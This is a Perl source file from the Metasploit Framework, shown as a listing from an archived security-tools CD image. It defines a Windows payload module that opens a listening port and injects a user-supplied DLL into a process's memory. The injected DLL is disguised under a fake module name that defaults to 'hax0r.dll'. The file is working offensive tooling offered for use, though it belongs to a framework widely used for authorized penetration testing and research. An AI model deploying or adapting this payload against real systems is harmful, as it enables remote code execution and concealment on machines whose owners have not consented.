home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / win32_bind_dllinject.pm < prev    next >
Text File  |  2006-06-30  |  2KB  |  76 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::win32_bind_dllinject;
  11. use strict;
  12. use base 'Msf::PayloadComponent::Windows::ia32::InjectLibStage';
  13.  
  14. my $info =
  15. {
  16.     'Name'         => 'Windows Bind DLL Inject',
  17.     'Version'      => '$Revision: 1.14 $',
  18.     'Description'  => 'Listen for connection and inject DLL into process memory',
  19.     'Authors'      => 
  20.         [
  21.             'Matt Miller <mmiller [at] hick.org>',
  22.             'Jarkko Turkulainen <jt [at] klake.org>',
  23.         ],
  24.     'UserOpts'     => 
  25.         { 
  26.             'DLL'     => [1, 'PATH', 'The full path to the DLL that should be injected'],
  27.             'DLLNAME' => [0, 'PATH', 'The name of the DLL as it will appear in the module list'] 
  28.         },
  29. };
  30.  
  31. sub _Load 
  32. {
  33.     Msf::PayloadComponent::Windows::ia32::InjectLibStage->_Import('Msf::PayloadComponent::Windows::ia32::BindStager');
  34.  
  35.     __PACKAGE__->SUPER::_Load();
  36. }
  37.  
  38. sub new 
  39. {
  40.     my $class = shift;
  41.     my $hash = @_ ? shift : { };
  42.     my $self;
  43.  
  44.     _Load();
  45.  
  46.     $hash = $class->MergeHashRec($hash, {'Info' => $info});
  47.     $self = $class->SUPER::new($hash, @_);
  48.  
  49.     return($self);
  50. }
  51.  
  52. #
  53. # Returns the path to the DLL that is to be injected
  54. #
  55. sub _InjectDLL 
  56. {
  57.     my $self = shift;
  58.  
  59.     return $self->GetVar('DLL');
  60. }
  61.  
  62. #
  63. # Returns the name of the DLL that is to be injected (fake name)
  64. #
  65. sub _InjectDLLName 
  66. {
  67.     my $self = shift;
  68.     my $name =  $self->GetVar('DLLNAME');
  69.  
  70.     $name = "hax0r.dll" if (not defined($name));
  71.  
  72.     return $name;
  73. }
  74.  
  75. 1;
  76.